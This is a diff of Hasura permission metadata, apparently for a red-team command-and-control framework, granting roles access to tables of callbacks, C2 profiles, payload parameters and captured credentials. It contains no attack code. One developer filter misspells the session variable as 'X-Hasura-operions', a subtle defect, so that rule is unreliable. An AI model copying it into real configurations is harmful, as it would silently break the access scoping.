+ backend_only: false
+ - role: operation_admin
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-admin-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - browserscript_id
+ backend_only: false
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - browserscript_id
+ - operation_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - browserscript_id
+ - id
+ - operation_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - browserscript_id
+ - id
+ - operation_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - browserscript_id
+ - id
+ - operation_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - browserscript_id
+ - id
+ - operation_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ delete_permissions:
+ - role: developer
+ permission:
+ filter:
+ operation_id:
+ _in: X-Hasura-admin-operations
+ - role: mythic_admin
+ permission:
+ filter:
+ operation_id:
+ _in: X-Hasura-admin-operations
+ - role: operation_admin
+ permission:
+ filter:
+ operation_id:
+ _in: X-Hasura-admin-operations
+- table:
+ schema: public
+ name: buildparameter
+ object_relationships:
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ array_relationships:
+ - name: buildparameterinstances
+ using:
+ foreign_key_constraint_on:
+ column: build_parameter_id
+ table:
+ schema: public
+ name: buildparameterinstance
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - name
+ - parameter_type
+ - description
+ - payload_type_id
+ - required
+ - verifier_regex
+ - deleted
+ - parameter
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - required
+ - id
+ - payload_type_id
+ - description
+ - name
+ - parameter
+ - parameter_type
+ - verifier_regex
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - required
+ - id
+ - payload_type_id
+ - description
+ - name
+ - parameter
+ - parameter_type
+ - verifier_regex
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - required
+ - id
+ - payload_type_id
+ - description
+ - name
+ - parameter
+ - parameter_type
+ - verifier_regex
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - deleted
+ - required
+ - id
+ - payload_type_id
+ - description
+ - name
+ - parameter
+ - parameter_type
+ - verifier_regex
+ filter: {}
+- table:
+ schema: public
+ name: buildparameterinstance
+ object_relationships:
+ - name: buildparameter
+ using:
+ foreign_key_constraint_on: build_parameter_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - build_parameter_id
+ - payload_id
+ - parameter
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operions
+ - role: mythic_admin
+ permission:
+ columns:
+ - build_parameter_id
+ - id
+ - payload_id
+ - parameter
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - build_parameter_id
+ - id
+ - payload_id
+ - parameter
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - build_parameter_id
+ - id
+ - payload_id
+ - parameter
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - build_parameter_id
+ - id
+ - payload_id
+ - parameter
+ filter:
+ payload:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: c2profile
+ array_relationships:
+ - name: c2profileparameters
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: c2profileparameters
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbackc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: callbackc2profiles
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: payloadc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: payloadc2profiles
+ - name: payloadtypec2profiles
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: payloadtypec2profile
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - container_running
+ - deleted
+ - is_p2p
+ - is_server_routed
+ - running
+ - id
+ - author
+ - description
+ - name
+ - creation_time
+ - last_heartbeat
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - name
+ - description
+ - creation_time
+ - running
+ - last_heartbeat
+ - container_running
+ - author
+ - is_p2p
+ - is_server_routed
+ - deleted
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - container_running
+ - deleted
+ - is_p2p
+ - is_server_routed
+ - running
+ - id
+ - author
+ - description
+ - name
+ - creation_time
+ - last_heartbeat
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - container_running
+ - deleted
+ - is_p2p
+ - is_server_routed
+ - running
+ - id
+ - author
+ - description
+ - name
+ - creation_time
+ - last_heartbeat
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - container_running
+ - deleted
+ - is_p2p
+ - is_server_routed
+ - running
+ - id
+ - author
+ - description
+ - name
+ - creation_time
+ - last_heartbeat
+ filter: {}
+- table:
+ schema: public
+ name: c2profileparameters
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ array_relationships:
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_parameters_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - c2_profile_id
+ - crypto_type
+ - default_value
+ - deleted
+ - description
+ - format_string
+ - id
+ - name
+ - parameter_type
+ - randomize
+ - required
+ - verifier_regex
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - crypto_type
+ - default_value
+ - deleted
+ - description
+ - format_string
+ - id
+ - name
+ - parameter_type
+ - randomize
+ - required
+ - verifier_regex
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - crypto_type
+ - deleted
+ - randomize
+ - required
+ - c2_profile_id
+ - id
+ - default_value
+ - description
+ - format_string
+ - name
+ - parameter_type
+ - verifier_regex
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - crypto_type
+ - deleted
+ - randomize
+ - required
+ - c2_profile_id
+ - id
+ - default_value
+ - description
+ - format_string
+ - name
+ - parameter_type
+ - verifier_regex
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - crypto_type
+ - deleted
+ - randomize
+ - required
+ - c2_profile_id
+ - id
+ - default_value
+ - description
+ - format_string
+ - name
+ - parameter_type
+ - verifier_regex
+ filter: {}
+- table:
+ schema: public
+ name: c2profileparametersinstance
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: c2profileparameter
+ using:
+ foreign_key_constraint_on: c2_profile_parameters_id
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - c2_profile_id
+ - c2_profile_parameters_id
+ - callback_id
+ - dec_key
+ - enc_key
+ - id
+ - instance_name
+ - operation_id
+ - payload_id
+ - value
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - dec_key
+ - enc_key
+ - c2_profile_id
+ - c2_profile_parameters_id
+ - callback_id
+ - id
+ - operation_id
+ - payload_id
+ - instance_name
+ - value
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - dec_key
+ - enc_key
+ - c2_profile_id
+ - c2_profile_parameters_id
+ - callback_id
+ - id
+ - operation_id
+ - payload_id
+ - instance_name
+ - value
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - dec_key
+ - enc_key
+ - c2_profile_id
+ - c2_profile_parameters_id
+ - callback_id
+ - id
+ - operation_id
+ - payload_id
+ - instance_name
+ - value
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - payload:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - dec_key
+ - enc_key
+ - c2_profile_id
+ - c2_profile_parameters_id
+ - callback_id
+ - id
+ - operation_id
+ - payload_id
+ - instance_name
+ - value
+ filter:
+ _or:
+ - operation_id:
+ _in: X-Hasura-operations
+ - payload:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: callback
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: operatorByLockedOperatorId
+ using:
+ foreign_key_constraint_on: locked_operator_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: registered_payload_id
+ - name: task
+ using:
+ foreign_key_constraint_on: socks_task_id
+ array_relationships:
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbackaccesstimes
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: callbackaccesstime
+ - name: callbackc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: callbackc2profiles
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: source_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbackgraphedgesByDestinationId
+ using:
+ foreign_key_constraint_on:
+ column: destination_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbacktokens
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: callbacktoken
+ - name: loadedcommands
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: loadedcommands
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: task
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - agent_callback_id
+ - init_callback
+ - last_checkin
+ - user
+ - host
+ - pid
+ - ip
+ - external_ip
+ - description
+ - operator_id
+ - active
+ - registered_payload_id
+ - integrity_level
+ - locked
+ - locked_operator_id
+ - operation_id
+ - crypto_type
+ - dec_key
+ - enc_key
+ - os
+ - architecture
+ - domain
+ - port
+ - extra_info
+ - sleep_info
+ - socks_task_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ - locked
+ - id
+ - integrity_level
+ - locked_operator_id
+ - operation_id
+ - operator_id
+ - pid
+ - port
+ - registered_payload_id
+ - socks_task_id
+ - agent_callback_id
+ - architecture
+ - dec_key
+ - description
+ - domain
+ - enc_key
+ - external_ip
+ - extra_info
+ - os
+ - sleep_info
+ - init_callback
+ - last_checkin
+ - crypto_type
+ - host
+ - ip
+ - user
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - active
+ - locked
+ - id
+ - integrity_level
+ - locked_operator_id
+ - operation_id
+ - operator_id
+ - pid
+ - port
+ - registered_payload_id
+ - socks_task_id
+ - agent_callback_id
+ - architecture
+ - dec_key
+ - description
+ - domain
+ - enc_key
+ - external_ip
+ - extra_info
+ - os
+ - sleep_info
+ - init_callback
+ - last_checkin
+ - crypto_type
+ - host
+ - ip
+ - user
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - active
+ - agent_callback_id
+ - architecture
+ - crypto_type
+ - dec_key
+ - description
+ - domain
+ - enc_key
+ - external_ip
+ - extra_info
+ - host
+ - id
+ - init_callback
+ - integrity_level
+ - ip
+ - last_checkin
+ - locked
+ - locked_operator_id
+ - operation_id
+ - operator_id
+ - os
+ - pid
+ - port
+ - registered_payload_id
+ - sleep_info
+ - socks_task_id
+ - user
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - active
+ - locked
+ - dec_key
+ - enc_key
+ - id
+ - integrity_level
+ - locked_operator_id
+ - operation_id
+ - operator_id
+ - pid
+ - port
+ - registered_payload_id
+ - socks_task_id
+ - agent_callback_id
+ - architecture
+ - crypto_type
+ - description
+ - domain
+ - external_ip
+ - extra_info
+ - host
+ - os
+ - sleep_info
+ - init_callback
+ - last_checkin
+ - ip
+ - user
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: callbackaccesstime
+ object_relationships:
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+- table:
+ schema: public
+ name: callbackc2profiles
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - callback_id
+ - c2_profile_id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - callback_id
+ - id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - c2_profile_id
+ - callback_id
+ - id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - c2_profile_id
+ - callback_id
+ - id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - c2_profile_id
+ - callback_id
+ - id
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: callbackgraphedge
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: destination
+ using:
+ foreign_key_constraint_on: destination_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: source
+ using:
+ foreign_key_constraint_on: source_id
+ - name: task_end
+ using:
+ foreign_key_constraint_on: task_end_id
+ - name: task_start
+ using:
+ foreign_key_constraint_on: task_start_id
+ insert_permissions:
+ - role: developer
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - c2_profile_id
+ - destination_id
+ - direction
+ - metadata
+ - source_id
+ backend_only: false
+ - role: mythic_admin
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - c2_profile_id
+ - destination_id
+ - direction
+ - metadata
+ - source_id
+ backend_only: false
+ - role: operation_admin
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - c2_profile_id
+ - destination_id
+ - direction
+ - metadata
+ - source_id
+ backend_only: false
+ - role: operator
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - c2_profile_id
+ - destination_id
+ - direction
+ - metadata
+ - source_id
+ backend_only: false
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - start_timestamp
+ - end_timestamp
+ - operation_id
+ - source_id
+ - destination_id
+ - direction
+ - metadata
+ - c2_profile_id
+ - task_start_id
+ - task_end_id
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - metadata
+ - c2_profile_id
+ - destination_id
+ - direction
+ - id
+ - operation_id
+ - source_id
+ - task_end_id
+ - task_start_id
+ - end_timestamp
+ - start_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - metadata
+ - c2_profile_id
+ - destination_id
+ - direction
+ - id
+ - operation_id
+ - source_id
+ - task_end_id
+ - task_start_id
+ - end_timestamp
+ - start_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - metadata
+ - c2_profile_id
+ - destination_id
+ - direction
+ - id
+ - operation_id
+ - source_id
+ - task_end_id
+ - task_start_id
+ - end_timestamp
+ - start_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - metadata
+ - c2_profile_id
+ - destination_id
+ - direction
+ - id
+ - operation_id
+ - source_id
+ - task_end_id
+ - task_start_id
+ - end_timestamp
+ - start_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - end_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: mythic_admin
+ permission:
+ columns:
+ - end_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - end_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - end_timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ check: null
+- table:
+ schema: public
+ name: callbacktoken
+ object_relationships:
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ - name: token
+ using:
+ foreign_key_constraint_on: token_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - token_id
+ - callback_id
+ - os
+ - task_id
+ - timestamp_created
+ - deleted
+ - host
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - callback_id
+ - id
+ - task_id
+ - token_id
+ - host
+ - os
+ - timestamp_created
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - callback_id
+ - id
+ - task_id
+ - token_id
+ - host
+ - os
+ - timestamp_created
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - callback_id
+ - id
+ - task_id
+ - token_id
+ - host
+ - os
+ - timestamp_created
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - deleted
+ - callback_id
+ - id
+ - task_id
+ - token_id
+ - host
+ - os
+ - timestamp_created
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - deleted
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ filter:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+ check:
+ callback:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: command
+ object_relationships:
+ - name: commandopsec
+ using:
+ foreign_key_constraint_on: opsec_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ array_relationships:
+ - name: attackcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: attackcommand
+ - name: browserscripts
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: browserscript
+ - name: commandparameters
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: commandparameters
+ - name: disabledcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: disabledcommands
+ - name: disabledcommandsprofiles
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: disabledcommandsprofile
+ - name: loadedcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: loadedcommands
+ - name: payloadcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: payloadcommand
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: task
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - needs_admin
+ - help_cmd
+ - description
+ - cmd
+ - payload_type_id
+ - creation_time
+ - version
+ - supported_ui_features
+ - author
+ - deleted
+ - attributes
+ - opsec_id
+ - script_only
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - needs_admin
+ - help_cmd
+ - description
+ - cmd
+ - payload_type_id
+ - creation_time
+ - version
+ - supported_ui_features
+ - author
+ - deleted
+ - attributes
+ - opsec_id
+ - script_only
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - needs_admin
+ - help_cmd
+ - description
+ - cmd
+ - payload_type_id
+ - creation_time
+ - version
+ - supported_ui_features
+ - author
+ - deleted
+ - attributes
+ - opsec_id
+ - script_only
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - id
+ - needs_admin
+ - help_cmd
+ - description
+ - cmd
+ - payload_type_id
+ - creation_time
+ - version
+ - supported_ui_features
+ - author
+ - deleted
+ - attributes
+ - opsec_id
+ - script_only
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - needs_admin
+ - help_cmd
+ - description
+ - cmd
+ - payload_type_id
+ - creation_time
+ - version
+ - supported_ui_features
+ - author
+ - deleted
+ - attributes
+ - opsec_id
+ - script_only
+ filter: {}
+- table:
+ schema: public
+ name: commandopsec
+ array_relationships:
+ - name: commands
+ using:
+ foreign_key_constraint_on:
+ column: opsec_id
+ table:
+ schema: public
+ name: command
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - deleted
+ - injection_method
+ - process_creation
+ - authentication
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - id
+ - authentication
+ - injection_method
+ - process_creation
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - id
+ - authentication
+ - injection_method
+ - process_creation
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - id
+ - authentication
+ - injection_method
+ - process_creation
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - deleted
+ - id
+ - authentication
+ - injection_method
+ - process_creation
+ filter: {}
+- table:
+ schema: public
+ name: commandparameters
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - choice_filter_by_command_attributes
+ - choices
+ - choices_are_all_commands
+ - choices_are_loaded_commands
+ - command_id
+ - default_value
+ - description
+ - id
+ - name
+ - required
+ - supported_agent_build_parameters
+ - supported_agents
+ - type
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - choices_are_all_commands
+ - choices_are_loaded_commands
+ - required
+ - command_id
+ - id
+ - choice_filter_by_command_attributes
+ - choices
+ - default_value
+ - description
+ - name
+ - supported_agent_build_parameters
+ - supported_agents
+ - type
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - choices_are_all_commands
+ - choices_are_loaded_commands
+ - required
+ - command_id
+ - id
+ - choice_filter_by_command_attributes
+ - choices
+ - default_value
+ - description
+ - name
+ - supported_agent_build_parameters
+ - supported_agents
+ - type
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - choices_are_all_commands
+ - choices_are_loaded_commands
+ - required
+ - command_id
+ - id
+ - choice_filter_by_command_attributes
+ - choices
+ - default_value
+ - description
+ - name
+ - supported_agent_build_parameters
+ - supported_agents
+ - type
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - choices_are_all_commands
+ - choices_are_loaded_commands
+ - required
+ - command_id
+ - id
+ - choice_filter_by_command_attributes
+ - choices
+ - default_value
+ - description
+ - name
+ - supported_agent_build_parameters
+ - supported_agents
+ - type
+ filter: {}
+- table:
+ schema: public
+ name: credential
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - type
+ - task_id
+ - account
+ - realm
+ - operation_id
+ - timestamp
+ - credential
+ - operator_id
+ - comment
+ - deleted
+ - metadata
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - credential
+ - id
+ - operation_id
+ - operator_id
+ - task_id
+ - account
+ - comment
+ - metadata
+ - realm
+ - type
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - credential
+ - id
+ - operation_id
+ - operator_id
+ - task_id
+ - account
+ - comment
+ - metadata
+ - realm
+ - type
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - credential
+ - id
+ - operation_id
+ - operator_id
+ - task_id
+ - account
+ - comment
+ - metadata
+ - realm
+ - type
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - deleted
+ - credential
+ - id
+ - operation_id
+ - operator_id
+ - task_id
+ - account
+ - comment
+ - metadata
+ - realm
+ - type
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: disabledcommands
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+- table:
+ schema: public
+ name: disabledcommandsprofile
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ array_relationships:
+ - name: operatoroperations
+ using:
+ foreign_key_constraint_on:
+ column: base_disabled_commands_id
+ table:
+ schema: public
+ name: operatoroperation
+- table:
+ schema: public
+ name: filebrowserobj
+ object_relationships:
+ - name: filebrowserobj
+ using:
+ foreign_key_constraint_on: parent_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: filebrowserobjs
+ using:
+ foreign_key_constraint_on:
+ column: parent_id
+ table:
+ schema: public
+ name: filebrowserobj
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: file_browser_id
+ table:
+ schema: public
+ name: filemeta
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - task_id
+ - timestamp
+ - operation_id
+ - host
+ - permissions
+ - name
+ - parent_id
+ - parent_path
+ - full_path
+ - access_time
+ - modify_time
+ - comment
+ - is_file
+ - size
+ - success
+ - deleted
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - deleted
+ - is_file
+ - success
+ - full_path
+ - name
+ - parent_path
+ - id
+ - operation_id
+ - parent_id
+ - task_id
+ - access_time
+ - comment
+ - host
+ - modify_time
+ - permissions
+ - size
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - deleted
+ - is_file
+ - success
+ - full_path
+ - name
+ - parent_path
+ - id
+ - operation_id
+ - parent_id
+ - task_id
+ - access_time
+ - comment
+ - host
+ - modify_time
+ - permissions
+ - size
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - deleted
+ - is_file
+ - success
+ - full_path
+ - name
+ - parent_path
+ - id
+ - operation_id
+ - parent_id
+ - task_id
+ - access_time
+ - comment
+ - host
+ - modify_time
+ - permissions
+ - size
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - deleted
+ - is_file
+ - success
+ - full_path
+ - name
+ - parent_path
+ - id
+ - operation_id
+ - parent_id
+ - task_id
+ - access_time
+ - comment
+ - host
+ - modify_time
+ - permissions
+ - size
+ - timestamp
+ filter:
+ operation_id:
+ _in: X-Hasura-operations
+- table:
+ schema: public
+ name: filemeta
+ object_relationships:
+ - name: filebrowserobj
+ using:
+ foreign_key_constraint_on: file_browser_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: file_id
+ table:
+ schema: public
+ name: payload
+ computed_fields:
+ - name: filename_text
+ definition:
+ function:
+ schema: public
+ name: filemeta_filename
+ comment: convert bytea filename to text
+ - name: full_remote_path_text
+ definition:
+ function:
